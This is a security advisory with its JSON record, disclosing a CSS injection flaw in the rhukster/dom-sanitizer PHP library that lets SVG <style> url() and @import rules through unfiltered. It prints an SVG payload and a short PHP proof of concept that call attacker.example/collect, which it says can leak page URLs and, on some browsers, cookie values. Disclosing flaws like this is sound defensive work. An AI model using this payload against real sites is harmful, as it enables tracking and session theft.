GHSA-93VF-569F-22CQ

Vulnerability from github – Published: 2026-04-10 21:08 – Updated: 2026-04-14 21:55
VLAI?
Summary
rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives
Details

Summary

DOMSanitizer::sanitize() allows elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.

Details

In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.

Vulnerable code (src/DOMSanitizer.php, line 31):

'svg' => ['style', 'path', 'rect', 'circle', ...],

The following payload survives sanitize() intact:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>* { background: url(https://attacker.example/collect); }</style>
</svg>

PoC

<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;

$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)

Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.

Impact

Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.

Severity ?
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "rhukster/dom-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:08:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nDOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, \u0027style\u0027 is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111\u2013133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern \u2014 but text node content of \u003cstyle\u003e elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n\u0027svg\u0027 =\u003e [\u0027style\u0027, \u0027path\u0027, \u0027rect\u0027, \u0027circle\u0027, ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\n\u003c/svg\u003e\n```\n\n### PoC\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\u003c/svg\u003e\u0027;\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer-\u003esanitize($svg);\necho $output; // \u003cstyle\u003e with url() survives unchanged \u2014 confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.",
  "id": "GHSA-93vf-569f-22cq",
  "modified": "2026-04-14T21:55:07Z",
  "published": "2026-04-10T21:08:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rhukster/dom-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rhukster/dom-sanitizer: SVG \u003cstyle\u003e tag allows CSS injection via unfiltered url() and @import directives"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.